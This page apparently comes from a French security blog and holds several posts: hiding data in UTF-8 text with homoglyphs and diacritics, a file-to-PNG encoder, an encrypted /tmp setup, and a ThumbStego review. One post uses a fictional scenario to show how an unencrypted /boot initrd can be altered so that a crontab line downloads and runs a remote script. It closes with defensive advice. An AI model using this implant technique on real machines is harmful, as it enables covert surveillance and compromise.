Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

cryptographie

Stéganographie et Unicode (UTF-8)

Rédigé par devloop - -

Mise en bouche

Jetez un oeil à ce texte, extrait d'une page Wikipedia :

The frequency of letters in text has often been studied for use in cryptography, and frequency analysis in particular. No exact letter frequency distribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.

Et maintenant jetez un autre oeil au texte suivant :

Thе frequеncy of lettеrѕ in tеxt Һas oftеn beеn studіed for uѕe in сryptogrарhу, and freqυеncy analуѕis in pаrticular. Νо eхасt lettеr frequеncy dіstribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.

Vous semblent-ils différents ? Peut-être avez vous remarqué une particularité dans l'un des texte... car l'un d'entre eux contient un message secret.
Jeter un coup d'oeil au code HTML de cette page vous donnera certainement un indice, pourtant j'aurais très bien pu vous montrer deux textes bruts (plain text) et vous n'aurez pas forcément remarqué plus de particularités.

L'unicode : qu'est-ce que c'est et pourquoi on nous emmerde avec

L'unicode est une norme de codage des caractères destinée à être utilisée massivement pour rassembler et remplacer les normes existantes de différents pays.
On pourrait représenter l'unicode comme une énorme table de corresponde entre les caractères et leurs valeurs informatique comme on peut en trouver pour l'ASCII.
Pendant longtemps, chacun y allait de sa norme de codage des caractères : ASCII et ISO 8859-1 pour les occidentaux, le Big5 pour les chinois, le KOI8-U pour les russes, le Shift-JIS ou encore le ISO 2022 pour les japonais.
On peut imaginer que cette diversité de normes n'arrange pas les développeurs qui souhaitent rendre leurs logiciels accessibles au plus de personnes possibles, quelque soit leur langue.

Unicode se "décline" en plusieurs formats : UTF-8, UTF-16 et UTF-32.
Il y a aussi l'UTF-7 utilisé par des protocoles d'envoi de courrier et on parle de UTF-5 ou d'UTF-6, chacun ayant pour spécificité d'être compatible avec "alphabet" prédéfini comme ceux (limités) utilisés pour composer une adresse email ou un nom de domaine.
Le nombre situé derrière les caractères UTF correspond au nombre de bits minimum nécessaire pour l'encodage d'un caractère.

Le format dont cet article parlera sera l'UTF-8 qui est principalement utilisé par nous autre européens ou américains.
Ce format là a en effet le grand avantage d'être rétro-compatible avec l'ASCII, c'est à dire que la plupart des caractères que l'on utilise sont encodés sur un octet, exactement comme ils l'étaient auparavant.
Ce "miracle" tient sur le fait que l'UTF-8 utilise les premiers bits de chaque octet pour déterminer s'il a affaire à nos bons vieux caractères où s'il doit chercher dans des tables plus exotiques.
Ainsi notre petit "a" sera codé 0x61 en hexa comme c'était le cas en ASCII mais le "à" avec accent tiendra sur deux caractères et se codera 0xC3A0.
La page Wikipedia sur l'UTF-8 montre quels bits sont utilisés sur chaque octet.

L'UTF-8 est donc, comme d'autres formats d'unicode, extensible. Comme dit sur cette page, on pourrait qualifier le format UTF-8 de raciste : quand nos caractères sont encodés sur un ou deux octets, les thaïlandais ou les koréens ont droit à 3 octets par caractère !
Pas de quoi les motiver à utiliser UTF-8, heureusement l'UTF-16 et l'UTF-32 mettent tout le monde à un niveau d'égalité (toutefois l'UTF-32 prend comme son nom l'indique 4 octets par caractère)

UTF-8 : représentation, encodage et décodage en Python...

Quand on veut nommer un caractère en unicode, on utilise généralement la forme "U+XXXX""XXXX" est un nombre hexadécimal dont la taille peut varier.
Pour "fouiller" dans l'unicode, il y a trois sites quasi-indispensables :
decodeunicode.org : une mine d'or à l'interface soignée.
FileFormat.Info : très pratique, le sites offrent aussi des ressources en dehors d'unicode
Unicode.org : le site officiel avec les tables de caratères au format PDF.
Unimap (unipad.org) : assez simple mais efficace.

Si vous programmez, vous vous êtes peut-être déjà arraché les cheveux devant des problèmes de mauvais encodages. Mon expérience m'a montré que le mieux est encore d'aller à la source et de corriger directement le mauvais caractère (par exemple dans une page html) au lieu de tenter de le convertir/corriger.
Je vous donne tout de même quelques commandes pratiques en Python pour jouer avec les caractères unicode.

Définissons un caractère s dont la valeur est "é" et observons son type :
>>> s='é'
>>> type(s), repr(s)
(<type 'str'>, "'\\xc3\\xa9'")

s est un caractère "brut" : c'est un type 'str' et non unicode. On voit toutefois qu'il est codé sur deux octets, il est donc bien au format UTF-8 mais n'offre pas les avantages de la classe unicode.
Transformons ce caratère au type unicode :
>>> u=unicode(s,"UTF-8")
>>> type(u), repr(u)
(<type 'unicode'>, "u'\\xe9'")

Le caractère unicode auquel on a à faire est donc le U+00E9.
Renseignons nous sur ce caractère :
>>> import unicodedata
>>> unicodedata.name(u)
'LATIN SMALL LETTER E WITH ACUTE'
>>> unicodedata.lookup('LATIN SMALL LETTER E WITH ACUTE')
u'\xe9'

Le type python unicode ne permet pas de tout faire, on pourrait le qualifier de "virtuel". On est obligé de le mettre en "dur" (l'encoder) pour effectuer certaines opérations comme écrire dans un fichier.
>>> u.encode("UTF-8")
'\xc3\xa9'

D'autres commandes pratiques :
>>> ord(u)
233
>>> unichr(233)
u'\xe9'
>>> u.encode('ascii', 'xmlcharrefreplace')
'é'

UTF-8 et stéganographie

L'idée d'utiliser l'unicode pour dissimuler des données m'est venue en me demandant s'il y avait pas plusieurs façons d'encoder le même caractère. Après tout, chaque format (ASCII, UTF-8, UTF-16...) offre différents encodages pour un même caractère alors pourquoi pas le même caractère dans un même format ? Avec deux encodages possibles on peut donc glisser un bit (valeur 0 pour un encodage, valeur 1 pour le second).
Mes recherches sur Internet m'ont montré que non seulement je n'étais pas le seul à y avoir pensé mais en plus certains l'avaient déjà implémenté. Je n'invente donc rien mais je vous fournis les techniques utilisées.

La première technique est proposée par MockingEye et son implémentation unisteg.py.
Elle se base sur les diacritiques. Typiquement ce sont les accents et cédilles qui peuvent être attachés à un caractère.

Si vous vous rendez sur le bloc des diacritiques sur decodeunicode.org, vous verrez tout de suite de quoi je veux parler.
Unicode permet donc d'encoder de deux façons différentes nos lettres à accent. Soit sous leur forme fixe (le "é") soit sous une forme combinée (la lettre "e" combinée avec le diacritique de l'accent aigue).
Le passage de la forme composée à la forme décomposée (et vice-versa) peut se faire par la fonction normalize de la librairie unicodedata en python :
>>> unicodedata.normalize("NFD",u)
u'e\u0301'
>>> unicodedata.normalize("NFC",u'e\u0301')
u'\xe9'
>>> unicodedata.normalize("NFD",u).encode("UTF-8")
'e\xcc\x81'

On remarque que le diacritique ne précéde pas le caractère mais le suit. Pour faire simple :
e combining diacritical

La seconde méthode est proposée par Antonio Alcorn. Elle est implémentée en PHP mais le code source n'est pas disponible. Toutefois en analysant le résultat on se rend compte que la technique se base sur l'utilisation de caractères différents mais visuellement très proche.
Par exemple, notre "e" est très proche du petit IE cyrillique.
Les caractères cyrilliques sont plus bruts que nos caractères et sont généralement représentés sans serif (voir empattement). En fonction de la police utilisée pour afficher les caractères, on ne verra donc pas la différence. On se servira pour ce faire d'une police sans-serif comme Arial.
Dans le second texte au début de cet article, vous avez peut-être remarqué que le "h" de "has" était plus large. C'est tout simplement parce qu'il s'agit du caractère cyrillique SHHA (U+04BA).

Ayant créé moi même mes outils de stéganographie UTF-8 (voir çi-dessous), la recherche des caractères similaires m'a pris un bon moment. J'ai rassemblé ça dans ce fichier.
Les caractères où la différence n'est pas visible (avec la bonne police) sont placés directement. Ceux où l'on peut se laisser prendre sont entre parenthèses avec le signe + accolé. Ceux entre parenthèses ressemblent d'assez loin.

utf8hide et utf8reveal

utf8hide.py permet comme son nom l'indique de cacher des données dans un texte.
Il demande deux arguments : le fichier dont il faut cacher le contenu et un fichier texte au format ISO-8859-1 au ASCII. Un troisème argument ("html") peut être passé si on souhaite ensuite injecter le résultat dans une page web.
J'ai repris l'idée de l'implémentation PHP qui propose d'utiliser seulement 5 bits pour coder un caractère à cacher en la poussant plus loin et sans les limitations.
Le programme fait une analyse du fichier à dissimuler et détermine le plus petit nombre de bits nécessaire pour coder un octet. Si le message secret est court, il défini un charset (alphabet) lui permettant ainsi de "comprimer" un octet sur seulement quelques bits (3, 4, 5, 6). Au-delà, le charset serait trop gros et le programme préfère utiliser les codes habituels des caractères.

Le résultat obtenu est placé dans le fichier out.txt. L'affichage donne le nombre de bits pour un octet (nbit), le charset utilisé et la taille du fichier secret. Il faut conserver ces paramêtres pour l'opération inverse.

Un peu à l'instar de ThumbStego qui nécessitait une image et sa signature, utf8reveal.py a besoin du texte ascii/iso8859 qui a servi à dissimuler le fichier et la version UTF-8 dans laquelle sont cachées les données.
On lui passe aussi en argument les variables vues plus tôt et le programme recréé le fichier secret dans "secret.xxx".

Les deux programmes affichent les bits à l'écran (0 ou 1) ce qui peut-être ennuyeux pour les gros fichiers... mais une telle utilisation est à éviter.
En effet, le programme a beau compresser comme il peut les données en entrées et utiliser la méthode des diacritiques ainsi que celle des ressemblances entre caractères, tous les caractères ne sont malheureusement pas exploitables. Le programme passe alors aux caractères suivant jusqu'à tomber sur un caractère exploitable. Le ratio est donc bien plus faible que 1/8ème mais c'est suffisant pour y passer quelques mots.

Arghhh

J'ai eu la peur de ma vie (c'est quelque peu exagéré) en développant le code. En voulant recopier mes scripts vers un répertoire de sauvegarde, j'ai bêtement tapé "rm -r" au lieu de "cp", supprimant ainsi les codes et le répertoire de sauvegarde.
A défaut de faire n'importe quoi, je me suis félicité d'avoir quelques connaissances en inforensique, ce qui m'a permis d'extraire le code de la partition. Pourtant comme le code fait plus de 4096 octets, il était sur deux blocs mémoire et sur du ext3... merci à grep, dd et hexdump.

Bypasser le chiffrement de disque sous Linux

Rédigé par devloop - -

FBI KittehIntroduction dramatique

A chaque projet de loi concernant l'Internet ou le téléchargement, on assiste à une véritable foire où les internautes ne cessent de critiquer et de minimiser les mesures techniques proposées par le gouvernement arguant quelles sont inefficaces, onéreuses et difficiles à mettre en place... C'est souvent le cas.
Mais j'évite de participer aux discussions enflamées sur les forums où chacun y va de sa contre mesure technique... c'est souvent les moins informés qui s'y expriment le plus.
Si vous avez fait un tour chez un libraire ces derniers temps, vous avez dû remarquer qu'une certaine presse (les magazines sur lesquels on voit une bourrique ou un drapeau noir) joue aussi le jeu à fond et la page de couverture titre à peu près "Toutes les astuces pour pas se faire gauler !".

Avec la LOPSI 2, le phénomène est exactement le même. Un peu partout sur le web vous lirez que pour empècher l'insertion du fameux mouchard il suffit de chiffrer son disque.
Mais qu'en est-il réellement ?

Scénario improbable

José est un terroriste.
C'est du moins ce que certaines personnes pensent, tellement il est de gauche, tellement il porte la moustache, tellement il est agriculteur, tellement il va pas au MacDo...
En plus il est anti-capitaliste au point de ne pas utiliser un système Microsoft !! C'est sûr, José et un homme dangereux.

D'ailleurs il a installé une Debian Lenny en utilisant les options permettant de chiffrer l'ensemble de ses données.

Le ministre de l'intérieur a décidé que ce serait bien d'avoir un oeil sur ses communications. Malheureusement José communique avec GPG. De plus une exploitation distante pour pénétrer son ordinateur a peu de chances de réussir car il utilise OpenOffice ;-) et met régulièrement son système à jour.

C'est pour cela que le GIPM (Groupe d'Intervention de Pose de Mouchard) s'est vu remettre l'opération.
Mais une fois qu'ils ont obtenu un accès physique à l'ordinateur, le GIPM (mené par l'inspecteur Coudrier) s'aperçoivent que le disque est chiffré !!
L'inspecteur Coudrier trouvera t-il une astuce ? José ira t-il à Quick à défaut de MacDo ?

Chapitre II

Coudrier ne s'avoue pas vaincu. Il a pris soin d'éplucher le manuel d'installation Debian et s'est attardé sur la partie concernant le chiffrement.
A priori ce n'est pas gagné : le disque est préalablement effacé et les données ensuite chiffrés avec des algorithmes solides. Pourtant il a remarqué un détail dans l'article :
Some people may even want to encrypt their whole system. The only exception is the /boot partition which must remain unencrypted, because currently there is no way to load the kernel from an encrypted partition.
En effet, depuis sa vieille galette KnoppixSTD qu'il a lancé sur l'ordinateur, Coudrier a remarqué deux entrées dans /etc/fstab.
La première est la partition /dev/hda1 montée sur /boot au format ext2, de petite taille.
La seconde (/dev/hda2) est marquée de format auto. Son contenu est une suite d'octets inexploitables. Seul quelques chaines au début de la partition semblent indiquer qu'il s'agit d'une partition chiffrée. On peut lire "LUKS aes cbc-essiv:sha256 sha1".

Coudrier monte la partition /boot et liste son contenu : un dossier grub et lost+found ainsi que des fichiers config-2.6.26-2-686, initrd.img-2.6.26-2-686, System.map-2.6.26-2-686 et vmlinuz-2.6.26-2-686.
L'inspecteur n'ayant aucune connaissance en virologie, il laisse de côté le fichier vmlinuz-2.6.26-2-686 et commence à s'intéresser au fichier initrd.img-2.6.26-2-686.

Ce fichier pèse 7Mo et est compressé par gzip. Coudrier le copie sur sa clé USB, le décompresse et obtient une archive au format cpio.
$ cp initrd.img-2.6.26-2-686 /mnt/usbkey/initrd.gz
$ cd /mnt/usbkey
$ gunzip initrd.gz
$ file initrd
initrd: ASCII cpio archive (SVR4 with no CRC)

Une recherche sur Google depuis une autre machine l'amène à une page sur les étapes du boot Linux et une autre sur la manipulation d'un fichier initrd.

Avec la première page, il apprend que la partition racine est montée après le lancement de initrd. Pourtant dans la section initrd on peut lire "'real' root is mounted"... étrange.
L'inspecteur n'a pas toute la journée : il tente sa chance.

En listant le contenu du initrd (cpio -itv < initrd) il observe des fichiers qui ne lui sont pas utiles comme des modules kernel ou des binaires statiques et strippés.
Il y a aussi un dossier "scripts" dont le contenu est le suivant :
scripts/nfs
scripts/local
scripts/init-premount
scripts/init-premount/udev
scripts/init-premount/blacklist
scripts/init-premount/thermal
scripts/local-top
scripts/local-top/lvm2
scripts/local-top/cryptopensc
scripts/local-top/lvm
scripts/local-top/cryptroot
scripts/local-bottom
scripts/local-bottom/cryptopensc
scripts/local-premount
scripts/local-premount/resume
scripts/init-top
scripts/init-top/keymap
scripts/init-top/framebuffer
scripts/init-top/all_generic_ide
scripts/functions
scripts/init-bottom
scripts/init-bottom/udev

Il décide d'approfondir et extrait (cpio -iv < initrd) les fichiers de l'archive cpio. Dans le fichier scripts/local il trouve une fonction baptisée "mountroot" qui contient la ligne suivante :
mount ${roflag} -t ${FSTYPE} ${ROOTFLAGS} ${ROOT} ${rootmnt}

Il décide d'ajouter juste derrière la ligne
echo "0 * * * *  root  cd /dev/shm && wget http://lopsi.interieur.gov/mouchard.sh && chmod +x mouchard.sh && ./mouchard.sh" > ${rootmnt}/etc/crontab

Coudrier regénère l'archive cpio avec ses modifications (find * | cpio -o -H newc > ../new_initrd) et la recompresse (gzip -9 new_initrd) avant d'écraser l'ancienne version.
Il lance un sync, démonte les partions, retire sa galette et éteint la machine. Mission accomplished.

Fin

Au prochain démarrage de son ordinateur, José rentre sa passphrase qui lui permet de déchiffrer les disques. Il ne sait pas qu'il a malgré lui permis à la commande de Coudrier de s'exécuter sur la partition tout juste déchiffrée...

Conclusion

Bien que très efficace, le système de chiffrement de disque a quelques lacunes puisqu'un programme peut être injecté sur la partition /boot pour s'exécuter une fois que vous aurez autorisé le déchiffrement des partitions.
Pour se protéger d'une telle attaque il faudrait désactiver le boot sur périphériques CD ou USB dans le bios et protéger ce dernier par un mot de passe. Un cadenas physique empéchant le retrait du disque ou le vidage de la mémoire BIOS est aussi important.

Notes

Comme indiqué dans cette fiction-réalité, j'ai effectué mes tests sur une Debian Lenny en sélectionnant le chiffrement total dans l'installeur.
Les commandes que l'on peut insérer dans les scripts extrait du initrd sont limitées aux commandes du shell ainsi qu'aux exécutables (peu nombreux) présents dans l'archive. Impossible donc d'y lancer directement un programme comme wget.
La commande que j'ai injecté durant mes tests créait uniquement un fichier dans /etc que l'on retrouvait une fois loggé sur le système et après avoir saisi la passphrase. L'entrée crontab de l'article est juste là pour faire plus l33t.

PNG Noise : convertir un fichier en une image

Rédigé par devloop - -

Voici deux petits programmes que j'ai fait en me servant de la librairie d'écriture/lecture d'images PNG PNGwriter.
Cette librairie est très simple et permet de générer des images très basiques particulièrement adaptés aux graphes et autres représentations mathématiques (voir les exemples sur le site). Des fonctions très pratiques sont disponibles comme placer un simple pixel, un trait, une forme géométrique, du texte...

Mon objectif premier en utilisant cette librairie était de faire un programme capable de prendre des données brutes dun fichier quelconque et d'en faire une image PNG valide (affichable sans erreur dans différents logiciels). Le résultat n'est forcément pas très beau (c'est du "bruit") mais on peut procèder en sens inverse et extraire les données présentes dans l'image pour recréer le fichier original.

L'utilité du programme est questionnable. Une des applications pourrait être de passer certains filtres sur les formats de fichiers comme ceux présents sur les service de stockage d'image en ligne. On pourrait alors y stocker tout type de données.
Du point de vue stéganographique le programme offre un excellent ratio mais un oeil humain se douterait que l'image renferme un secret ;-)
Enfin l'idée m'est entrée dans la tête donc il fallait que je le fasse. Je vous laisse à votre imagination pour d'autres applications.

Le principe est le suivant :
  • PNG est un format d'image matricielle, c'est à dire que les images sont définies par un ensemble de pixel
  • Chaque pixel de l'image est définit par une couleur codée sur 3 valeurs : R, V, B (rouge, vert et bleu)
  • Chacune de ces couleurs primaires est codée de 0 à 65535, correspondant à autant de nuances différentes

Une nuance de couleur (0 à 65535) tient sur 2 octets. On a donc 6 octets (car 3 couleurs primaires) par pixel. Il suffit alors de lire le fichier à "transformer" par morceaux de 6 bits et de les intégrer comme pixel dans une image.
Le programme s'arrange pour que les dimensions de l'image finale soient le plus proche possible du carré. Les derniers pixels sont donc des pixels de bourrage.

Le tout premier pixel de l'image sert à stocker la taille du fichier d'origine pour déterminer le nombre d'octets effectifs lors de l'opération inverse.

En utilisant le programme transform sur ce fichier pdf vous expliquant comment implémenter la suite de Fibonacci en kernel-land (hmmm), on obtient l'image suivante :
Kernel Module as PNG
Le programme extract sera capable de retrouver le fichier original à partir de cette image.

C'est aussi intéressant car ça permet de voir tout de suite les répétitions présentes dans un fichier : les zones unies de l'image représentent les zones du fichier qui gagneraient à être compressées.
Ainsi si on regénère une image à partir du fichier PDF une fois compressé avec bzip2 on obtient :
Kernel Module compressed as PNG
Vous trouverez les sources dans l'archive png_noise.zip
La librairie PNGwriter n'est pas incluse. Les commandes pour la compilation sont indiquées dans la source.

Créez une partition temporaire chiffrée sous Linux

Rédigé par devloop - -

L'opération est assez simple et fonctionnera sur les distributions équipées de "dm-crypt" (vérifier que le programme "cryptsetup" est présent).
Il vous faut une partition à sacrifier pour l'utilisation d'un /tmp qui sera recréé à chaque démarrage avec une clef de chiffrement aléatoire (les données dans /tmp seront perdues à chaque arrêt du système d'exploitation).
Chez moi j'ai utilisé /dev/sda5 (une vieille partition vfat dont je me servais plus) qui sera repartitionné en ext2 pour l'occasion.

On commence par créer une entrée dans /etc/crypttab :
temp    /dev/sda5       /dev/urandom    tmp,cipher=aes-cbc-essiv:sha256

Cela provoquera la création d'un périphérique de chiffrement /dev/mapper/temp. L'option "tmp" permet de spécifier qu'il faut exécuter mkfs sur le mapper pour créer le système de fichier. En l'absence d'une correspondance dans /etc/fstab, le système ext2 est utilisé.
L'option "cipher" est nécessaire afin que cryptsetup sache comment chiffrer les données.
Le périphérique /dev/urandom est utilisé comme clef aléatoire pour le chiffrement des données.

Il faut ensuite créer une entrée correspondante dans /etc/fstab (options à modifier selon vos préférences) :
/dev/mapper/temp     /tmp                 ext2       noexec                0 0

On redémarre la machine et normalement tout fonctionne :)

Article sur le même sujet :
Créez une partition cachée sous Linux

ThumbStego

Rédigé par devloop - -

Je viens de tester ThumbStego (pour "Thumbnail Steganography"), un nouvel outil permettant de dissimuler des données dans des images.
Jusque là, rien de bien nouveau, il existe un tas d'outils qui permettent de cacher de l'information dans des images. Là où ce logiciel se démarque des autres c'est que contrairement à la majorité (et pngstego dont j'avais parlé en fait partie), ThumbStego ne se base pas sur la méthode LSB qui consiste à utiliser le bit de poids faible de chaque octet.

La description du logiciel, telle que trouvée sur PacketStorm, est la suivante :

Thumbnail steganography creates a thumbnail from a source image and stores data in it by altering the color channels. To decipher the data, a new thumbnail is made from the original image and the differences between the pixels are calculated. This is intended to increase complexity of automated deciphering of images containing extra (steganographied) data. It requires both the original and the thumbnail to decipher. The original works like a key to unlock the thumbnail.

Je ne saurais pas expliquer en détail le fonctionnement de cet outil, les courageux se pencheront vers les sources en Java. Ce qu'il faut retenir c'est principalement la génération d'une image miniature de l'originale, créée de façon à ce que l'originale ait un rôle de masque pour extraire les données cachées.

Pour utiliser le logiciel, vous aurez besoin d'une version récente de Java sans quoi un message d'erreur de version vous jette, ou alors vous devrez recompiler le programme. De mon côté j'ai opté pour la première solution et ait installé la version 1.6 de Java (j'avais la 1.5).
Armé d'une image et d'un fichier texte, le me suis placé dans le répertoire bin (une fois l'archive de ThumbStego décompressée) et ait tappé la commande suivante :
java -cp . tstego/TStego E sdreams.jpg out.png 17941-8.txt S

Ceci m'a généré l'image miniature out.png... à la regarder avec un éditeur hexadécimal, rien ne se laisse deviner que ce fichier cache des données à sa façon.

L'image et sa miniature :
Sweet Dreams

Sweet Dreams Thumbnail

Pour extraire les données :
java -cp . tstego/TStego D sdreams.jpg out.png secret.txt

Et on découvre alors qu'une vingtaine de fables de La Fontaine y étaient dissimulées.

Pour résumer ThumbStego utilise un concept très intéressant et comble du bonheur offre un ratio qui a l'air pas mauvais du tout.
Certes je n'ai pas fait de calcul, mais l'option S permet de générer une miniature la plus petite possible en prenant en compte la quantité de données à cacher. Avec une miniature réduite de seulement 1%, il est évident que le ratio est bien plus intéressant qu'avec les outils standards.
Rien que dans mon exemple, le texte fait environ 29% de la taille de la miniature en étant loin de forcer les capacités du soft... avec d'autres outils on aurait eu un ratio de 12.5% (1/8 pour le LSB).
On regrette juste que le logiciel soit un peu lent (de grosses boucles dans le code) et un peu casse-tête à lancer (sous la forme d'un jar ce serais parfait).
Dans tous les cas, à garder sous la main.

Mise à jour: les nouvelles versions sont maintenant sous la forme d'un jar avec une interface graphique.